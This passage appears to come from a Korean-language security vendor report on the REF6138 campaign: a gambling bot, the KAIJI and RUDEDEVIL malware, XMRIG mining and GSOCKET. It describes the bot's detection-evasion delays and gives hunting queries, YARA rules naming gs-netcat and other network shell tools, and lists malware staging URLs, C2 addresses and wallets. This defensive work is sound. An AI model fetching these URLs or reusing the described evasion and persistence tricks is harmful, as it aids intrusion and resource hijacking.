: 승리와 손실을 추적합니다.saldo_actual
: 경상 계정 잔액을 보유합니다.
obteneruid
함수 이해
이 함수는 필요한 헤더와 JSON 데이터가 포함된 POST 요청을 원격 서버로 전송하여 사용자를 인증합니다. 사용자가 아직 설정되어 있지 않으면 새 세션을 초기화하고 계정 잔액을 검색합니다. 인증에 성공하면 게임 내 추가 상호작용에 사용되는 세션 UUID를 반환합니다.
enviardatos
함수 이해
이 기능은 게임 데이터 또는 상태 업데이트를 gcp.pagaelrescate[.]com
으로 전송하여 게임 플레이 중 수행한 작업이나 결과를 기록합니다. 간단한 GET 요청을 사용하여 이 데이터를 원격 서버로 전송합니다.
hacerjugada
함수 이해
hacerjugada
기능은 설정된 수의 라운드에 대한 베팅 프로세스를 시뮬레이션합니다. 베팅을 하기 위해 POST 요청을 보내고, 각 라운드가 끝난 후 승패를 업데이트하며, 전체 결과를 계산합니다. 보너스 라운드가 트리거되면 completarbono()
을 호출하여 보너스 게임 세부 정보를 처리합니다. 이 기능은 각 베팅 라운드 사이에 30초의 지연을 적용하여 자연스러운 게임 플레이를 모방하고 탐지를 피합니다.
completarbono
함수 이해
보너스 라운드가 트리거되면 이 함수는 세션 ID와 라운드 ID가 포함된 요청을 전송하여 라운드를 완료합니다. 결과에 따라 계정 잔액을 업데이트하고 수익 또는 손실을 기록합니다. 잔액의 변경 사항은 enviardatos()
기능을 사용하여 원격 서버로 다시 전송됩니다.
테스트 목적으로 사용될 가능성이 높음
이 스크립트는 도박 앱의 데모 버전과 상호 작용하므로 테스트 목적으로 사용되었을 가능성이 높다는 점에 유의하세요. 이는 공격자가 라이브 버전으로 전환하기 전에 도박 행위의 자동화를 테스트하거나 앱의 취약점을 찾으려는 것일 수 있음을 시사합니다. 데모 환경을 사용한다는 것은 더 정교하거나 광범위한 공격에 대비하여 접근 방식을 개선하고 있음을 의미합니다.
REF6138을 통해 MITRE ATT&CK
Elastic은 MITRE ATT& CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다. 이 조사 과정에서 다음과 같은 전술, 기법 및 하위 기법을 확인했습니다:
MITRE ATT&사용된 CK 전술, 기법 및 하위 기술
전술 | 기술 | 하위 기술 |
---|---|---|
리소스 개발 | T1587: 역량 개발 | 멀웨어 |
T1588: 기능 획득 | 도구 | |
T1608: 무대 기능 | 멀웨어 업로드 | |
업로드 도구 | ||
최초 침투 | T1190: 퍼블릭 대면 애플리케이션 익스플로잇 | |
실행 | T1059: 명령 및 스크립팅 인터프리터 | 유닉스 셸 |
Python | ||
T1053: 예약된 작업/작업 | Cron | |
지속성 유지 | T1546: 이벤트 트리거 실행 | Unix 셸 구성 수정 |
T1053: 예약된 작업/작업 | Cron | |
T1505: 서버 소프트웨어 구성 요소 | 웹 셸 | |
권한 확대 | T1068: 권한 상승을 위한 익스플로잇 | |
방어 회피 | T1140: 파일 또는 정보 복호화/해독 해제 | |
T1222: 파일 및 디렉터리 권한 수정 | Linux 및 Mac 파일 및 디렉터리 권한 수정 | |
T1564: 아티팩트 숨기기 | 숨겨진 파일 및 디렉터리 | |
T1070: 표시기 제거 | 타임스탬프 | |
T1036: 가장무도회 | 가장무도회 작업 또는 서비스 | |
T1027: 난독화된 파일 또는 정보 | 소프트웨어 포장 | |
제거된 페이로드 | ||
명령 난독화 | ||
암호화/인코딩된 파일 | ||
탐색 | T1057: 프로세스 검색 | |
T1082: 시스템 정보 검색 | ||
T1061: 시스템 네트워크 구성 검색 | ||
T1049: 시스템 네트워크 연결 검색 | ||
T1007: 시스템 서비스 검색 | ||
수집 | T1119: 자동 수집 | |
T1005: 로컬 시스템의 데이터 | ||
명령 및 제어 | T1071: 애플리케이션 계층 프로토콜 | Web Protocols |
T1132: 데이터 인코딩 | 표준 인코딩 | |
T1001: 데이터 난독화 | ||
T1573: 암호화된 채널 | 대칭 암호화 | |
T1105: 인그레스 도구 전송 | ||
T1571: 비표준 포트 | ||
T1572: 프로토콜 터널링 | ||
T1102: 웹 서비스 | ||
영향 | T1496: 리소스 하이재킹 |
REF6138 감지
Elastic Security는 행동 기반 SIEM 및 엔드포인트 규칙, YARA 시그니처, ML 기반 이상 징후 탐색 접근 방식을 활용하여 위협 탐색에 대한 다계층 접근 방식을 구현합니다. 이 섹션에서는 식별된 위협을 포착하는 데 큰 역할을 하는 Elastic Security에서 구축한 탐지 기능에 대해 설명합니다.
탐지
이 침입 집합을 분석하는 동안 다음과 같은 탐지 규칙이 관찰되었습니다:
예방
이 침입 집합을 분석하는 동안 다음과 같은 행동 방지 이벤트가 관찰되었습니다:
- 의심스러운 유틸리티를 통한 Linux 리버스 셸
- 바인드 마운트를 통한 방어 회피
- 대화형 셸을 통한 Linux 의심스러운 하위 프로세스 실행
- 잠재적인 Linux 해킹 툴 출시
- PKEXEC 익스플로잇을 통한 권한 에스컬레이션
- 잠재적인 SSH-IT SSH 웜 다운로드
- 비정상적인 위치에서 바이너리를 실행하는 예약된 작업
파일과 인메모리 모두에서 KAIJI 및 RUDEDEVIL 멀웨어 샘플을 탐지하기 위해 다음과 같은 YARA 시그니처를 사용합니다:
이 침입 집합을 분석하는 동안 곧 공개될 다음과 같은 엔드포인트 규칙 경고가 관찰되었습니다:
- 웹 서버를 통한 잠재적 셸
- 잠재적인 웹 서버 코드 인젝션
- 웹 서버 사용자가 실행할 수 있는 잠재적 셸
- 웹 서버를 통한 활동 디코딩
- Linux Telegram API Request
- 의심스러운 에코 실행
Elastic에서 쿼리 추적
KQL과 EQL 모두에 대한 이벤트는 Elastic Defend 통합을 사용하는 Elastic 에이전트와 함께 제공됩니다. 헌팅 쿼리는 높은 신호 또는 오탐을 반환할 수 있습니다. 이러한 쿼리는 잠재적으로 의심스러운 행동을 식별하는 데 사용되지만 결과를 검증하려면 조사가 필요합니다.
EQL 쿼리
Kibana의 보안 솔루션 타임라인 섹션에서 '상관관계' 탭을 사용하면 아래 EQL 쿼리를 사용하여 유사한 동작을 찾을 수 있습니다:
잠재적 XMRIG 실행
다음 EQL 쿼리를 사용하여 사용자 환경 내에서 XMRIG 실행을 헌팅할 수 있습니다.
process where event.type == "start" and event.action == "exec" and (
(
process.args in ("-a", "--algo") and process.args in (
"gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
"rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
"cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
"cn-lite/0", "cn/0"
)
) or
(
process.args == "--coin" and process.args in ("monero", "arqma", "dero")
)
) and process.args in ("-o", "--url")
MSR 쓰기 액세스 사용
XMRIG는 모드프로브를 활용하여 MSR에 대한 쓰기 액세스를 활성화합니다. 이 활동은 비정상적인 활동이며 기본적으로 발생하지 않아야 합니다.
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
잠재적 GSOCKET 활동
이 활동은 권장 배포 방법을 통해 GSOCKET을 배포할 때 기본 동작입니다. 또한 쿼리에 몇 가지 인수를 추가하여 GSOCKET을 통한 맞춤형 침입을 놓칠 가능성을 줄였습니다.
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)
Exec을 통한 잠재적 프로세스 위장
GSOCKET은 exec -a
메서드를 활용하여 다른 이름으로 프로세스를 실행합니다. GSOCKET은 특히 커널 프로세스로 가장하지만, 다른 멀웨어는 다른 방식으로 가장할 수 있습니다.
process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"
리니스 또는 울리밋 실행
KAIJI 및 RUDEDEVIL을 비롯한 여러 악성코드는 renice 유틸리티를 사용하여 프로세스의 우선순위를 변경하거나 프로세스의 리소스 제한을 설정합니다. 이는 마이너 멀웨어가 채굴 프로세스의 우선순위를 높여 채굴 성능을 극대화하기 위해 일반적으로 사용합니다.
process where event.type == "start" and event.action == "exec" and (
process.name in ("ulimit", "renice") or (
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
process.command_line : ("*ulimit*", "*renice*")
)
)
존재하지 않는 Cron(d) 서비스가 시작되었습니다.
카이지와 루드데블은 /etc/init.d/cron(d)
에 cron(d)
서비스를 만들어 지속성을 확보했습니다. Cron
는 기본적으로 SysV Init
서비스를 사용하지 않습니다. cron(d)
서비스의 실행은 의심스러운 것이므로 추가 분석이 필요합니다.
process where event.type == "start" and event.action == "exec" and
process.name == "systemctl" and process.args == "start" and process.args in
("cron.service", "crond.service", "cron", "crond")
KAIJI에서 의심스러운 / etc/ 프로세스 실행
/etc/
디렉토리는 프로세스 실행에 일반적으로 사용되는 디렉토리가 아닙니다. KAI는 지속성을 확보하고 탐지를 회피하기 위해 /etc/
디렉토리에 32678
및 id.services.conf
이라는 바이너리를 배치하는 것으로 알려져 있습니다.
process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))
dev/ 디렉터리에 숨겨진 파일 생성
/dev/
및 /dev/shm/
에 숨겨진 파일을 생성하는 것은 본질적으로 악의적인 것은 아니지만, 이러한 활동은 흔하지 않습니다. KAIJI, GSOCKET 및 기타 멀웨어( K4SPREADER
)는 이러한 위치에 숨겨진 파일을 드롭하는 것으로 알려져 있습니다.
file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")
boot/의 상위 실행 파일에서 의심스러운 프로세스 실행
KAIJI 및 XORDDOS와 같은 멀웨어는 /boot/
디렉터리에 실행 파일을 배치하고, 이를 활용하여 탐지를 회피하면서 지속성을 확보하는 것으로 알려져 있습니다.
process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"
YARA
Elastic Security는 이 활동을 식별하기 위해 YARA 규칙을 만들었습니다. 다음은 사용자 지정 Apache2
멀웨어를 식별하는 YARA 규칙입니다:
rule Linux_Trojan_Generic {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Trojan.Generic"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
$enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
$enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
$enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
$key = "yyyyyyyy"
condition:
1 of ($enc*) and $key
}
인접한 여러 도구를 포함하여 GSOCKET을 탐지하기 위해 다음과 같은 시그니처를 만들었습니다:
rule Multi_Hacktool_Gsocket {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-23"
os = "Linux, MacOS"
arch = "x86"
threat_name = "Multi.Hacktool.Gsocket"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$str1 = "gsocket: gs_funcs not found"
$str2 = "/share/gsocket/gs_funcs"
$str3 = "$GSOCKET_ARGS"
$str4 = "GSOCKET_SECRET"
$str5 = "GS_HIJACK_PORTS"
$str6 = "sftp -D gs-netcat"
$str7 = "GS_NETCAT_BIN"
$str8 = "GSOCKET_NO_GREETINGS"
$str9 = "GS-NETCAT(1)"
$str10 = "GSOCKET_SOCKS_IP"
$str11 = "GSOCKET_SOCKS_PORT"
$str12 = "gsocket(1)"
$str13 = "gs-sftp(1)"
$str14 = "gs-mount(1)"
condition:
3 of them
}
마지막으로, 이번 침입에 이 도구가 사용되었다고 믿을 만한 근거가 있는 오픈 소스 Ligolo-ng 도구를 탐지하기 위해 다음 서명을 작성했습니다.
rule Linux_Hacktool_LigoloNG {
meta:
author = "Elastic Security"
creation_date = "2024-09-20"
last_modified = "2024-09-20"
os = "Linux"
arch = "x86"
threat_name = "Linux.Hacktool.LigoloNG"
reference = "https://www.elastic.co/security-labs/betting-on-bots"
license = "Elastic License v2"
strings:
$a = "https://github.com/nicocha30/ligolo-ng"
$b = "@Nicocha30!"
$c = "Ligolo-ng %s / %s / %s"
condition:
all of them
}
방어 권장 사항
멀웨어 캠페인을 효과적으로 방어하고 침입 위험을 최소화하려면 보안에 대한 다층적 접근 방식을 구현하는 것이 중요합니다. 다음은 우선순위를 정해야 할 몇 가지 주요 방어 조치입니다:
- Elastic 탐지 규칙을 업데이트 및 활성화 상태로 유지하세요: 사전 구축된 탐지 규칙을 포함해 보안 도구가 최신 상태인지 확인하세요. 지속적인 업데이트를 통해 시스템이 최신 멀웨어 시그니처와 동작을 탐지할 수 있습니다.
- Elastic Defend에서 예방 모드 활성화: 알려진 위협에 대해 경고만 하는 것이 아니라 자동으로 차단하도록 Elastic Defend를 예방 모드로 구성하세요. 예방 모드는 멀웨어 및 익스플로잇에 대한 사전 예방적 방어를 보장합니다.
- 알림 및 로그 모니터링: 경고, 로그 및 서버에서 의심스러운 활동의 징후가 있는지 정기적으로 모니터링하세요. 비정상적인 행동을 조기에 감지하면 작은 침해가 본격적인 침해로 확대되는 것을 방지하는 데 도움이 됩니다.
- 위협 헌팅 수행: 탐지를 피했을 수 있는 숨겨진 위협이 있는지 환경을 선제적으로 조사합니다. 위협 헌팅을 통해 기존 보안 조치를 우회하는 지능형 공격과 지속적인 멀웨어를 발견할 수 있습니다.
- 웹 애플리케이션 방화벽(WAF)을 구현하세요: WAF를 사용하여 무단 또는 악의적인 트래픽을 차단하세요. 방화벽을 올바르게 구성하면 일반적인 웹 공격을 많이 방지할 수 있습니다.
- SSH에 강력한 인증 적용: SSH 액세스에 공개/비공개 키 인증을 사용하여 무차별 대입 공격으로부터 보호하세요.
- 보안 코드 작성: 모든 사용자 지정 소프트웨어, 특히 웹 서버 기술이 보안 코딩 관행을 따르고 있는지 확인하세요. 전문 보안 감사자를 고용하여 코드를 검토하면 취약점이 악용되기 전에 이를 식별하고 완화하는 데 도움이 될 수 있습니다.
- 시스템을 정기적으로 패치 및 업데이트하세요: 서버, 애플리케이션, 소프트웨어를 최신 상태로 유지하는 것은 알려진 취약점을 방어하는 데 필수적입니다. 신속한 패치는 기성 익스플로잇의 공격 대상이 될 위험을 최소화합니다.
이러한 권장 사항을 따르면 공격 표면을 크게 줄이고 현재 진행 중이거나 잠재적인 멀웨어 위협에 대한 방어를 강화할 수 있습니다.
관찰
이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다. 여기에서 STIX 또는 ECS 형식으로 다운로드할 수 있습니다.
Observable | 유형 | 이름 | 참조 |
---|---|---|---|
72ac2877c9e4cd7d70673c0643eb16805977a9b8d55b6b2e5a6491db565cee1f | SHA-256 | SystemdXC | XMRIG |
82c55c169b6cb5e348be6e202163296b2b5d80fff2be791c21da9a8b84188684 | SHA-256 | apache2 | 아파치2_언패킹 |
0fede7231267afc03b096ee6c1d3ded479b10ab235e260120bc9f68dd1fc54dd | SHA-256 | 아파치2_upx_packed | 아파치2_upx_packed |
9ee695e55907a99f097c4c0ad4eb24ae5cf3f8215e9904d787817f1becb9449e | SHA-256 | download.sh | 카이지 스테이저 |
1cdfb522acb1ad0745a4b88f072e40bf9aa113b63030fe002728bac50a46ae79 | SHA-256 | linux_386 | KAIJI x86 |
d0ef2f020082556884361914114429ed82611ef8de09d878431745ccd07c06d8 | SHA-256 | linux_amd64 | KAIJI x64 |
ad36cf59b5eb08799a50e9aece6f12cdfe8620062606ac6684d3b4509acc681b | SHA-256 | linux_arm5 | KAIJI ARM5 |
792a84a5bc8530285e2f6eb997054edb3d43460a99a089468e2cf81b5fd5cde6 | SHA-256 | LINUX_ARM6 | KAIJI ARM6 |
e19fb249db323d2388e91f92ff0c8a7a169caf34c3bdaf4d3544ce6bfb8b88b4 | SHA-256 | linux_arm64 | KAIJI ARM64 |
3847c06f95dd92ec482212116408286986bb4b711e27def446fb4a524611b745 | SHA-256 | LINUX_ARM7 | KAIJI ARM7 |
fffee23324813743b8660282ccd745daa6fb058f2bf84b9960f70d888cd33ba0 | SHA-256 | linux_mips | KAIJI MIPS |
6d40b58e97c7b4c34f7b5bdac88f46e943e25faa887e0e6ce5f2855008e83f55 | SHA-256 | 리눅스_mips64 | KAIJI MIPS64 |
0c3442b8c49844a1ee41705a9e4a710ae3c7cde76c69c2eab733366b2aa34814 | SHA-256 | linux_mips64el | KAIJI MIPS64 리틀 엔디안 |
310973f6f186947cb7cff0e7b46b4645acdd71e90104f334caa88a4fa8ad9988 | SHA-256 | 리눅스_밉스_소프트플로트 | 카이지 밉스 소프트플로트 |
0d24a2e7da52bad03b0bda45c8435a29c4e1c9b483e425ae71b79fd122598527 | SHA-256 | 리눅스_밉셀 | 카이지 밉스 리틀엔디안 |
36fc8eef2e1574e00ba3cf9e2267d4d295f6e9f138474e3bd85eb4d215f63196 | SHA-256 | linux_mipsel_softfloat | 카이지 밉스 리틀 엔디안 소프트플로트 |
3c25a4406787cc5089e83e00350e49eb9f192d03d69e7a61b780b6828db1344f | SHA-256 | linux_ppc64 | KAIJI PPC64 |
7c16149db7766c6fd89f28031aa123408228f045e90aa03828c02562d9f9d1d7 | SHA-256 | linux_ppc64el | KAIJI PPC64 리틀 엔디안 |
09f935acbac36d224acfb809ad82c475d53d74ab505f057f5ac40611d7c3dbe7 | SHA-256 | l64_v0 | 루드데빌/루피서 x64 버전 0 |
ea0068702ea65725700b1dad73affe68cf29705c826d12a497dccf92d3cded46 | SHA-256 | l64_v1 | 루드데빌/루피서 x64 버전 1 |
160f232566968ade54ee875def81fc4ca69e5507faae0fceb5bef6139346496a | SHA-256 | l64_v2 | 루드데빌/루피서 x64 버전 2 |
89b60cedc3a4efb02ceaf629d6675ec9541addae4689489f3ab8ec7741ec8055 | SHA-256 | l64_v3 | 루드데빌/루피서 x64 버전 3 |
20899c5e2ecd94b9e0a8d1af0114332c408fb65a6eb3837d4afee000b2a0941b | SHA-256 | l86_v0 | 루드데빌/루피서 x86 버전 0 |
728dce11ffd7eb35f80553d0b2bc82191fe9ff8f0d0750fcca04d0e77d5be28c | SHA-256 | l86_v1 | 루드데빌/루피서 x86 버전 1 |
47ceca049bfcb894c9a229e7234e8146d8aeda6edd1629bc4822ab826b5b9a40 | SHA-256 | l86_v2 | 루드데블/루피서 x86 버전 2 |
e89f4073490e48aa03ec0256d0bfa6cf9c9ac6feb271a23cb6bc571170d1bcb5 | SHA-256 | l86_v3 | 루드데빌/루피서 x86 버전 3 |
d6350d8a664b3585108ee2b6f04f031d478e97a53962786b18e4780a3ca3da60 | SHA-256 | hjvhg.exe | Miner |
54a5c82e4c68c399f56f0af6bde9fb797122239f0ebb8bcdb302e7c4fb02e1de | SHA-256 | mvhhvcp3.exe | DONUTLOADER |
9e32be17b25d3a6c00ebbfd03114a0947361b4eaf4b0e9d6349cbb95350bf976 | SHA-256 | vdfgb.exe | Miner |
http://gcp.pagaelrescate[.]com:8080/ifindyou | URL. | ifindyou.sh | 스테이지 1 |
http://gcp.pagaelrescate[.]com:8080/cycnet | URL. | cycnet.sh | 스테이지 2 |
http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | URL. | Enviador_slot.py | 3단계 |
http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC | URL. | SystemdXC | XMRIG |
http://38.54.125[.]192:8080/nginx-rc | URL. | nginx-rc | LIGOLO-NG |
http://62.72.22[.]91/apache2 | URL. | apache2 | 맞춤형 멀웨어 |
http://62.72.22[.]91/apache2v86 | URL. | apache2v86 | 맞춤형 멀웨어 |
http://91.92.241[.]103:8002/gk.php | URL. | gk.php | PHP 백도어 |
http://hfs.t1linux[.]com:7845/scdsshfk | URL. | scdsshfk | XMRIG |
gcp.pagaelrescate[.]com | 도메인 이름 | REF 호스팅 도메인 | |
nishabii[.]xyz | 도메인 이름 | 루드데블 C2 | |
3.147.53[.]183 | IPv4-addr | 파이썬 리버스 셸 C2 | |
38.54.125[.]192 | IPv4-addr | C2 서버 | |
107.178.101[.]245 | IPv4-addr | Malware File Server (Rejetto) | |
62.72.22[.]91 | IPv4-addr | 서버 호스팅 멀웨어 | |
91.92.241[.]103 | IPv4-addr | C2 서버 | |
61.160.194[.]160 | IPv4-addr | 서버 호스팅 멀웨어 | |
41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL | XMR 월렛 | 루드데블/루피서 채굴 지갑 | |
42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc | XMR 월렛 | 루드데블/루피서 채굴 지갑 | |
1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz | BTC 지갑 | XMRIG 채굴 지갑 |
참고 자료
위의 조사에서 참조한 내용은 다음과 같습니다:
- https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
- https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
- https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
- https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
- https://github.com/hackerschoice/gsocket